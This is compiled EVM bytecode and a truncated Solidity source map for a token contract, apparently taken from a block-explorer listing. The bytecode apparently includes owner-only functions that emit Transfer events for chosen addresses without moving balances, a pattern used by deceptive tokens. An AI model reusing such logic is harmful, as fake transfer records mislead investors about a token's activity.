600080fd5b50511061137057600b54604080516323b872dd60e01b81523060048201526001600160a01b038781166024830152670de0b6b3a764000085026044830152915191909216916323b872dd9160648083019260209291908290030181600087803b15801561133e57600080fd5b505af1158015611352573d6000803e3d6000fd5b505050506040513d602081101561136857600080fd5b506115559050565b6009546001600160a01b03166000908152600e602052604090205460ff16151560011461140657600b546040805163140e25ad60e31b8152670de0b6b3a76400008602600482015290516001600160a01b039092169163a0712d689160248082019260009290919082900301818387803b1580156113ed57600080fd5b505af1158015611401573d6000803e3d6000fd5b505050505b6009546001600160a01b03166000908152600e602052604090205460ff161515600114156114c357600b54600954604080516323b872dd60e01b81526001600160a01b039283166004820152306024820152670de0b6b3a764000087026044820152905191909216916323b872dd9160648083019260209291908290030181600087803b15801561149657600080fd5b505af11580156114aa573d6000803e3d6000fd5b505050506040513d60208110156114c057600080fd5b50505b600b54604080516323b872dd60e01b81523060048201526001600160a01b038781166024830152670de0b6b3a764000085026044830152915191909216916323b872dd9160648083019260209291908290030181600087803b15801561152857600080fd5b505af115801561153c573d6000803e3d6000fd5b505050506040513d602081101561155257600080fd5b50505b505b601154600160201b900460ff161515600114156115d357336000908152600e602052604090205460ff161515600114806115ae57506001600160a01b0383166000908152600e602052604090205460ff1615156001145b156115c3576011805461ff00191690556115d3565b6011805461ff0019166101001790555b60115460ff610100909104161515600114801561164857506000546001600160a01b03858116911614158061161657506000546001600160a01b03848116911614155b8061162f57506001546001600160a01b03858116911614155b8061164857506001546001600160a01b03848116911614155b15611703576001600160a01b03841633141561166357611703565b6001600160a01b0383161580159061168957506006546001600160a01b03848116911614155b1561170357600061169983611eee565b600a5460408051639d50fb2d60e01b81526004810184905290519293506001600160a01b0390911691639d50fb2d9160248082019260009290919082900301818387803b1580156116e957600080fd5b505af11580156116fd573d6000803e3d6000fd5b50505050505b600a546040805163d96ca0b960e01b81526001600160a01b0387811660048301528681166024830152604482018690529151919092169163d96ca0b991606480830192600092919082900301818387803b15801561176057600080fd5b505af1158015611774573d6000803e3d6000fd5b5050600a546040805163282c97a160e01b81526001600160a01b038981166004830152888116602483015260448201889052915191909216935063282c97a19250606480830192600092919082900301818387803b1580156117d557600080fd5b505af11580156117e9573d6000803e3d6000fd5b50506040805185815290516001600160a01b038088169450881692506000805160206132d98339815191529181900360200190a35060019392505050565b6008546000906001600160a01b031633148061184d57506001546001600160a01b031633145b61185657600080fd5b826001600160a01b0316846001600160a01b03166000805160206132d9833981519152846040518082815260200191505060405180910390a35060019392505050565b6008546000906001600160a01b03163314806118bf57506001546001600160a01b031633145b6118c857600080fd5b600a546040805163260fcaa760e01b815260248101859052600481019182528551604482015285516001600160a01b039093169263260fcaa79287928792829160640190602086019080838360005b8381101561192f578181015183820152602001611917565b50505050905090810190601f16801561195c5780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b158015610fc357600080fd5b6001546001600160a01b0316331461199357600080fd5b816001600160a01b031663095ea7b384836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610e3957600080fd5b6001546001600160a01b03163314611a0157600080fd5b601055565b60045460ff1681565b600154600160a81b900460ff1680611a2a5750611a2a6131de565b80611a3f5750600154600160a01b900460ff16155b611a7a5760405162461bcd60e51b815260040180806020018281038252602e8152602001806132ab602e913960400191505060405180910390fd5b600154600160a81b900460ff16158015611ab1576001805460ff60a01b1960ff60a81b19909116600160a81b1716600160a01b1790555b600080546001600160a01b038089166001600160a01b03199283161790925560018054928516929091169190911790558951611af49060029060208d01906131e4565b508851611b089060039060208c01906131e4565b506004805460ff191660ff8a161781556005889055600780546001600160a01b0319166001600160a01b0388811691909117918290556040805163c45a015560e01b81529051600094939092169263c45a0155928282019260209290829003018186803b158015611b7857600080fd5b505afa158015611b8c573d6000803e3d6000fd5b505050506040513d6020811015611ba257600080fd5b5051600754604080516315ab88c960e31b815290519293506000926001600160a01b039092169163ad5c464891600480820192602092909190829003018186803b158015611bef57600080fd5b505afa158015611c03573d6000803e3d6000fd5b505050506040513d6020811015611c1957600080fd5b50519050611c28828230612f29565b600680546001600160a01b03199081166001600160a01b03938416179182905560088054909116898416179055600a546005546000805460408051631eefb7f760e01b815260048101949094523060248501529086166044840152938516606483015292519190931692631eefb7f792608480830193919282900301818387803b158015611cb557600080fd5b505af1158015611cc9573d6000803e3d6000fd5b50506000805460055460408051918252516001600160a01b0390921694509192506000805160206132d98339815191529181900360200190a35050600980546001600160a01b0319166001600160a01b038581169190911791829055166000908152600e60205260409020805460ff191660011790558015611d53576001805460ff60a81b191690555b50505050505050505050565b6008546000906001600160a01b0316331480611d8557506001546001600160a01b031633145b611d8e57600080fd5b600a5460408051634b96b63760e01b815290516000926001600160a01b031691634b96b637916004808301926020929190829003018186803b158015611dd357600080fd5b505afa158015611de7573d6000803e3d6000fd5b505050506040513d6020811015611dfd57600080fd5b5051600a546040805163f7c70ac360e01b8152905192935060009283926001600160a01b03169163f7c70ac3916004808301926020929190829003018186803b158015611e4957600080fd5b505afa158015611e5d573d6000803e3d6000fd5b505050506040513d6020811015611e7357600080fd5b505190506000805b868163ffffffff161015611ee057600160601b8460208a010151049150816001600160a01b0316836001600160a01b03166000805160206132d9833981519152876040518082815260200191505060405180910390a360149390930192600101611e7b565b506001979650505050505050565b600080670de0b6b3a7640000600f5481611f0457fe5b04600a028310611f12575060145b670de0b6b3a7640000600f5481611f2557fe5b046014028310611f33575060285b670de0b6b3a7640000600f5481611f4657fe5b04601e028310611f545750603c5b670de0b6b3a7640000600f5481611f6757fe5b046028028310611f75575060505b670de0b6b3a7640000600f5481611f8857fe5b046032028310611f96575060645b670de0b6b3a7640000600f5481611fa957fe5b04603c028310611fb7575060785b670de0b6b3a7640000600f5481611fca57fe5b046046028310611fd85750608c5b670de0b6b3a7640000600f5481611feb57fe5b046050028310611ff9575060a05b670de0b6b3a7640000600f548161200c57fe5b04605a02831061201a575060b45b670de0b6b3a7640000600f548161202d57fe5b04606402831061203b575060c85b670de0b6b3a7640000600f548161204e57fe5b0460c802831061205d57506101905b670de0b6b3a7640000600f548161207057fe5b0461012c02831061208057506102585b670de0b6b3a7640000600f548161209357fe5b046101900283106120a357506103205b670de0b6b3a7640000600f54816120b657fe5b046101f40283106120c657506103e85b670de0b6b3a7640000600f54816120d957fe5b046102580283106120e957506104b05b60115462010000900460ff1615156001141561210d57601054811061210d57506010545b92915050565b601154600160201b900460ff1690565b6001546001600160a01b0316331461213a57600080fd5b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b600a60009054906101000a90046001600160a01b03166001600160a01b0316634e71d92d6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156121ac57600080fd5b505af11580156121c0573d6000803e3d6000fd5b50505050565b600080826001600160a01b0316846001600160a01b0316141561221a5760405162461bcd60e51b81526004018080602001828103825260258152602001806132866025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b03161061223a57828461223d565b83835b90925090506001600160a01b03821661229d576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b600c60209081526000928352604080842090915290825290205481565b6001546001600160a01b031633146122d857600080fd5b816001141561230a576011805460ff191682151560011490811763ff0000001916630100000091909102179055612341565b8160021415612341576011805461ff0019166101008315156001149081029190911764ff000000001916600160201b919091021790555b5050565b6000546001600160a01b0316331461235c57600080fd5b600080546040516001600160a01b03909116907fb91e5e5588ef972137c14d2d88a5001c28bc0ef9ddb2cd12344976bce6fbe499908390a3600080546001600160a01b0319169055565b600a54604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156123f757600080fd5b505afa15801561240b573d6000803e3d6000fd5b505050506040513d602081101561242157600080fd5b505192915050565b6011546301000000900460ff1690565b601154610100900460ff1690565b600d546001600160a01b031681565b600a5460408051630873d6db60e41b81526001600160a01b0384811660048301529151600093929092169163873d6db091602480820192602092909190829003018186803b1580156123f757600080fd5b600b546001600160a01b031681565b6000546001600160a01b031681565b600e6020526000908152604090205460ff1681565b6003805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610efc5780601f10610ed157610100808354040283529160200191610efc565b600a5460408051639d50fb2d60e01b81526004810184905290516001600160a01b0390921691639d50fb2d9160248082019260009290919082900301818387803b15801561258257600080fd5b505af1158015610e63573d6000803e3d6000fd5b600a546040805163140e25ad60e31b81526004810184905290516001600160a01b039092169163a0712d689160248082019260009290919082900301818387803b15801561258257600080fd5b600a54604080516370a0823160e01b8152336004820152905160009284926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561263357600080fd5b505afa158015612647573d6000803e3d6000fd5b505050506040513d602081101561265d57600080fd5b5051101561266a57600080fd5b6011546301000000900460ff161515600114156126e357336000908152600e602052604090205460ff161515600114806126c157506001600160a01b0383166000908152600e602052604090205460ff1615156001145b156126d5576011805460ff191690556126e3565b6011805460ff191660011790555b60115460ff16151560011415612a9c576001600160a01b03831633141561270957612a9c565b6001600160a01b0383161580159061272f57506006546001600160a01b03848116911614155b15612a9c576000670de0b6b3a7640000600f548161274957fe5b0460020283106127595750601482045b670de0b6b3a7640000600f548161276c57fe5b04600a02831061277c5750600a82045b670de0b6b3a7640000600f548161278f57fe5b0460640283106127a5576127a283611eee565b90505b600b54604080516370a0823160e01b81523060048201529051670de0b6b3a76400008402926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156127f957600080fd5b505afa15801561280d573d6000803e3d6000fd5b505050506040513d602081101561282357600080fd5b5051106128bb57600b546040805163a9059cbb60e01b81526001600160a01b038781166004830152670de0b6b3a7640000850260248301529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561288957600080fd5b505af115801561289d573d6000803e3d6000fd5b505050506040513d60208110156128b357600080fd5b50612a9a9050565b6009546001600160a01b03166000908152600e602052604090205460ff16151560011461295157600b546040805163140e25ad60e31b8152670de0b6b3a76400008602600482015290516001600160a01b039092169163a0712d689160248082019260009290919082900301818387803b15801561293857600080fd5b505af115801561294c573d6000803e3d6000fd5b505050505b6009546001600160a01b03166000908152600e602052604090205460ff16151560011415612a0e57600b54600954604080516323b872dd60e01b81526001600160a01b039283166004820152306024820152670de0b6b3a764000087026044820152905191909216916323b872dd9160648083019260209291908290030181600087803b1580156129e157600080fd5b505af11580156129f5573d6000803e3d6000fd5b505050506040513d6020811015612a0b57600080fd5b50505b600b546040805163a9059cbb60e01b81526001600160a01b038781166004830152670de0b6b3a7640000850260248301529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015612a6d57600080fd5b505af1158015612a81573d6000803e3d6000fd5b505050506040513d6020811015612a9757600080fd5b50505b505b601154600160201b900460ff16151560011415612b1857336000908152600e602052604090205460ff16151560011480612af357506001600160a01b0383166000908152600e602052604090205460ff1615156001145b15612b08576011805461ff0019169055612b18565b6011805461ff0019166101001790555b60115460ff6101009091041615156001148015612b8757506000546001600160a01b031633141580612b5857506000546001600160a01b03848116911614155b80612b6e57506001546001600160a01b03163314155b80612b8757506001546001600160a01b03848116911614155b15612c42576001600160a01b038316331415612ba257612c42565b6001600160a01b03831615801590612bc857506006546001600160a01b03848116911614155b15612c42576000612bd883611eee565b600a5460408051639d50fb2d60e01b81526004810184905290519293506001600160a01b0390911691639d50fb2d9160248082019260009290919082900301818387803b158015612c2857600080fd5b505af1158015612c3c573d6000803e3d6000fd5b50505050505b600a5460408051633790767d60e01b81523360048201526001600160a01b0386811660248301526044820186905291519190921691633790767d91606480830192600092919082900301818387803b158015612c9d57600080fd5b505af1158015612cb1573d6000803e3d6000fd5b5050600a546040805163282c97a160e01b81523360048201526001600160a01b03888116602483015260448201889052915191909216935063282c97a19250606480830192600092919082900301818387803b158015612d1057600080fd5b505af1158015612d24573d6000803e3d6000fd5b50506040805185815290516001600160a01b03871693503392506000805160206132d98339815191529181900360200190a350600192915050565b6000546001600160a01b03163314612d7657600080fd5b6001600160a01b038116612d8957600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b03163314612dc257600080fd5b6040805163f2fde38b60e01b81526001600160a01b0383811660048301529151849283169163f2fde38b91602480830192600092919082900301818387803b158015612e0d57600080fd5b505af1158015612e21573d6000803e3d6000fd5b50505050505050565b600080546001600160a01b0316331480612e4e57506001546001600160a01b031633145b612e5757600080fd5b600a5460408051631eefb7f760e01b8152600481018890526001600160a01b0387811660248301528681166044830152858116606483015291519190921691631eefb7f791608480830192600092919082900301818387803b158015612ebc57600080fd5b505af1158015612ed0573d6000803e3d6000fd5b50600198975050505050505050565b60115460ff1690565b60006001600160a01b038216612efd57600080fd5b506001600160a01b039182166000908152600c6020908152604080832093909416825291909152205490565b6000806000612f3885856121c6565b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b6001546000906001600160a01b0316331461300357600080fd5b8260ff1660011415613025576011805460ff19166001841515141790556130c4565b8260ff166002141561304c576011805463ff000000191683156301000000021790556130c4565b8260ff1660031415613073576011805461ff001916831515600114610100021790556130c4565b8260ff166004141561309f576011805464ff000000001916831515600114600160201b021790556130c4565b8260ff16600514156130c4576011805462ff0000191683151560011462010000021790555b50600192915050565b6000546001600160a01b031633146130e457600080fd5b6001600160a01b0381166130f757600080fd5b600080546040516001600160a01b03808516939216917fb91e5e5588ef972137c14d2d88a5001c28bc0ef9ddb2cd12344976bce6fbe49991a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b0316331461316957600080fd5b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561319f573d6000803e3d6000fd5b505050565b6001546001600160a01b031633146131bb57600080fd5b600f55565b6007546001600160a01b031681565b6006546001600160a01b031681565b303b1590565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928261321a5760008555613260565b82601f1061323357805160ff1916838001178555613260565b82800160010185558215613260579182015b82811115613260578251825591602001919060010190613245565b5061326c929150613270565b5090565b5b8082111561326c576000815560010161327156fe556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122082939872d14b4b15f45e0840254a51a6f8ecf10f4546010e5869700ec9d02ba364736f6c63430007060033

Deployed Bytecode Sourcemap

6839:16453:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20855:168;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;20855:168:0;;;;;;;;;;:::i;:::-;;23109:142;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;23109:142:0;;;;;;;;;;;;;;;;;:::i;4665:22::-;;;;;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;4665:22:0;;;;;;;;;;;;;;6923:18;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18174:298;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;18174:298:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;8986:95;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;15189:2749;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;15189:2749:0;;;;;;;;;;;;;;;;;:::i;17946:222::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;17946:222:0;;;;;;;;;;;;;;;;;:::i;19288:219::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;19288:219:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;19288:219:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;19288:219:0;;-1:-1:-1;;19288:219:0;;;-1:-1:-1;19288:219:0;;-1:-1:-1;;19288:219:0:i;22801:174::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;22801:174:0;;;;;;;;;;;;;;;;;:::i;20495:151::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;20495:151:0;;:::i;6976:23::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;7562:905;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;7562:905:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;7562:905:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7562:905:0;;;;;;;;-1:-1:-1;7562:905:0;;-1:-1:-1;;;;;7562:905:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;7562:905:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7562:905:0;;-1:-1:-1;;7562:905:0;;;;;-1:-1:-1;;;7562:905:0;;;;;-1:-1:-1;;;;;7562:905:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;18678:602::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;18678:602:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;18678:602:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;18678:602:0;;-1:-1:-1;;18678:602:0;;;-1:-1:-1;18678:602:0;;-1:-1:-1;;18678:602:0:i;10327:2143::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;10327:2143:0;;:::i;20038:90::-;;;;;;;;;;;;;:::i;19515:232::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;19515:232:0;-1:-1:-1;;;;;19515:232:0;;:::i;9332:62::-;;;;;;;;;;;;;:::i;21428:347::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;21428:347:0;;;;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;21428:347:0;;;;;;-1:-1:-1;;;;;21428:347:0;;;;;;;;;;;;;;;;8816:62;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;8816:62:0;;;;;;;;;;:::i;20134:355::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;20134:355:0;;;;;;;;;:::i;5188:144::-;;;;;;;;;;;;;:::i;9089:113::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9089:113:0;-1:-1:-1;;;;;9089:113:0;;:::i;19848:90::-;;;;;;;;;;;;;:::i;19944:88::-;;;;;;;;;;;;;:::i;8885:20::-;;;;;;;;;;;;;:::i;9210:113::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9210:113:0;-1:-1:-1;;;;;9210:113:0;;:::i;7516:33::-;;;;;;;;;;;;;:::i;4638:20::-;;;;;;;;;;;;;:::i;8938:39::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8938:39:0;-1:-1:-1;;;;;8938:39:0;;:::i;6948:21::-;;;;;;;;;;;;;:::i;9402:82::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9402:82:0;;:::i;9492:80::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9492:80:0;;:::i;12478:2703::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;12478:2703:0;;;;;;;;:::i;21029:208::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;21029:208:0;-1:-1:-1;;;;;21029:208:0;;:::i;21245:175::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;21245:175:0;;;;;;;;;;:::i;22354:439::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;22354:439:0;;;-1:-1:-1;;;;;22354:439:0;;;;;;;;;;;;;;;;;;;;;:::i;19753:89::-;;;;;;;;;;;;;:::i;18484:186::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;18484:186:0;;;;;;;;;;:::i;21867:479::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;21867:479:0;;;;;;;;;;;;;;;;;;;:::i;9752:466::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9752:466:0;;;;;;;;;;;:::i;4976:204::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;4976:204:0;-1:-1:-1;;;;;4976:204:0;;:::i;22985:116::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;22985:116:0;;;;;;;;:::i;20652:153::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;20652:153:0;;:::i;7110:24::-;;;;;;;;;;;;;:::i;7086:20::-;;;;;;;;;;;;;:::i;20855:168::-;4940:7;;-1:-1:-1;;;;;4940:7:0;4926:10;:21;4918:30;;;;;;-1:-1:-1;;;;;20940:16:0;;;::::1;;::::0;;;:7:::1;:16;::::0;;;;:26;;-1:-1:-1;;20940:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;20855:168::o;23109:142::-;4940:7;;-1:-1:-1;;;;;4940:7:0;4926:10;:21;4918:30;;;;;;23212:5:::1;-1:-1:-1::0;;;;;23205:22:0::1;;23228:6;23236;23205:38;;;;;;;;;;;;;-1:-1:-1::0;;;;;23205:38:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;-1:-1:-1::0;;;;;23109:142:0:o;4665:22::-;;;-1:-1:-1;;;;;4665:22:0;;:::o;6923:18::-;;;;;;;;;;;;;;-1:-1:-1;;6923:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;18174:298::-;18241:12;-1:-1:-1;;;;;18274:22:0;;18266:31;;;;;;18316:10;18308:19;;;;:7;:19;;;;;;;;-1:-1:-1;;;;;18308:29:0;;;;;;;;;;;;:38;;;18362;;;;;;;18308:29;;18316:10;18362:38;;;;;;;;;;;18413:4;;:29;;;-1:-1:-1;;;18413:29:0;;18431:10;18413:29;;;;;;-1:-1:-1;;;;;18413:4:0;;;;:17;;:29;;;;;:4;;:29;;;;;;;;:4;;:29;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;18460:4:0;;18174:298;-1:-1:-1;;;;;;18174:298:0:o;8986:95::-;9057:4;;:16;;;-1:-1:-1;;;9057:16:0;;;;9030:7;;-1:-1:-1;;;;;9057:4:0;;:14;;:16;;;;;;;;;;;;;;:4;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9057:16:0;;-1:-1:-1;8986:95:0;:::o;15189:2749::-;15314:4;;:21;;;-1:-1:-1;;;15314:21:0;;-1:-1:-1;;;;;15314:21:0;;;;;;;;;15271:12;;15314:4;;;;;:14;;:21;;;;;;;;;;;;;;;:4;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;15314:21:0;15304:31;;;15296:40;;;;;;-1:-1:-1;;;;;15365:14:0;;;;;;:7;:14;;;;;;;;15380:10;15365:26;;;;;;;;15355:36;;;15347:45;;;;;;15407:10;;;;;;;:18;;15421:4;15407:18;15403:200;;;15474:10;15466:19;;;;:7;:19;;;;;;;;:25;;:19;:25;;15465:49;;-1:-1:-1;;;;;;15495:12:0;;;;;;:7;:12;;;;;;;;:18;;:12;:18;15465:49;15462:92;;;15516:9;:15;;-1:-1:-1;;15516:15:0;;;15462:92;;;15538:9;:14;;-1:-1:-1;;15538:14:0;15548:4;15538:14;;;15462:92;15617:9;;;;:17;;:9;:17;15613:1543;;;-1:-1:-1;;;;;15654:19:0;;15663:10;15654:19;15651:1494;;;;;;15691:5;;-1:-1:-1;;;;;15684:12:0;;;15691:5;;15684:12;;;;:28;;-1:-1:-1;15707:5:0;;-1:-1:-1;;;;;15700:12:0;;;15707:5;;15700:12;;15684:28;15681:1464;;;15731:15;15865:4;15857:7;;:12;;;;;;15873:1;15856:18;15845:6;:30;15842:56;;-1:-1:-1;15895:2:0;15888:9;;15842:56;16082:4;16074:7;;:12;;;;;;16090:2;16073:19;16062:6;:31;16059:57;;-1:-1:-1;16113:2:0;16106:9;;16059:57;16332:4;16324:7;;:12;;;;;;16340:3;16323:20;16312:6;:32;16309:64;;16356:17;16366:6;16356:9;:17::i;:::-;16346:27;;16309:64;16543:4;;:29;;;-1:-1:-1;;;16543:29:0;;16566:4;16543:29;;;;;;16588:8;16577:20;;;-1:-1:-1;;;;;16543:4:0;;:14;;:29;;;;;;;;;;;;;;:4;:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;16543:29:0;:55;16540:590;;16680:4;;:59;;;-1:-1:-1;;;16680:59:0;;16706:4;16680:59;;;;-1:-1:-1;;;;;16680:59:0;;;;;;;16728:8;16717:20;;16680:59;;;;;;:4;;;;;:17;;:59;;;;;;;;;;;;;;:4;;:59;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;16540:590:0;;-1:-1:-1;16540:590:0;;16781:5;;-1:-1:-1;;;;;16781:5:0;16773:14;;;;:7;:14;;;;;;;;:20;;16781:5;16773:20;16770:55;;16795:4;;:30;;;-1:-1:-1;;;16795:30:0;;16815:8;16805:19;;16795:30;;;;;;-1:-1:-1;;;;;16795:4:0;;;;:9;;:30;;;;;:4;;:30;;;;;;;;:4;;:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16770:55;16928:5;;-1:-1:-1;;;;;16928:5:0;16920:14;;;;:7;:14;;;;;;;;:20;;16928:5;16920:20;16917:85;;;16942:4;;16960:5;;16942:60;;;-1:-1:-1;;;16942:60:0;;-1:-1:-1;;;;;16960:5:0;;;16942:60;;;;16974:4;16942:60;;;;16991:8;16981:19;;16942:60;;;;;;:4;;;;;:17;;:60;;;;;;;;;;;;;;:4;;:60;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;16917:85:0;17052:4;;:59;;;-1:-1:-1;;;17052:59:0;;17078:4;17052:59;;;;-1:-1:-1;;;;;17052:59:0;;;;;;;17100:8;17089:20;;17052:59;;;;;;:4;;;;;:17;;:59;;;;;;;;;;;;;;:4;;:59;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;16540:590:0;15681:1464;;17170:10;;-1:-1:-1;;;17170:10:0;;;;:18;;17184:4;17170:18;17166:144;;;17218:10;17210:19;;;;:7;:19;;;;;;;;:25;;:19;:25;;17209:49;;-1:-1:-1;;;;;;17239:12:0;;;;;;:7;:12;;;;;;;;:18;;:12;:18;17209:49;17206:92;;;17260:9;:15;;-1:-1:-1;;17260:15:0;;;17206:92;;;17282:9;:14;;-1:-1:-1;;17282:14:0;;;;;17206:92;17325:9;;;;;;;;:17;;:9;:17;17324:85;;;;-1:-1:-1;17355:5:0;;-1:-1:-1;;;;;17346:14:0;;;17355:5;;17346:14;;;:28;;-1:-1:-1;17369:5:0;;-1:-1:-1;;;;;17362:12:0;;;17369:5;;17362:12;;17346:28;:46;;;-1:-1:-1;17385:7:0;;-1:-1:-1;;;;;17376:16:0;;;17385:7;;17376:16;;17346:46;:62;;;-1:-1:-1;17401:7:0;;-1:-1:-1;;;;;17394:14:0;;;17401:7;;17394:14;;17346:62;17320:437;;;-1:-1:-1;;;;;17430:19:0;;17439:10;17430:19;17427:319;;;;;;-1:-1:-1;;;;;17460:17:0;;;;;;:33;;-1:-1:-1;17488:5:0;;-1:-1:-1;;;;;17481:12:0;;;17488:5;;17481:12;;17460:33;17457:289;;;17521:15;17561:17;17571:6;17561:9;:17::i;:::-;17710:4;;:19;;;-1:-1:-1;;;17710:19:0;;;;;;;;;;17551:27;;-1:-1:-1;;;;;;17710:4:0;;;;:10;;:19;;;;;:4;;:19;;;;;;;;:4;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17457:289;;17768:4;;:40;;;-1:-1:-1;;;17768:40:0;;-1:-1:-1;;;;;17768:40:0;;;;;;;;;;;;;;;;;;;;;;:4;;;;;:22;;:40;;;;;:4;;:40;;;;;;;:4;;:40;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;17829:4:0;;:41;;;-1:-1:-1;;;17829:41:0;;-1:-1:-1;;;;;17829:41:0;;;;;;;;;;;;;;;;;;;;;;:4;;;;;-1:-1:-1;17829:23:0;;-1:-1: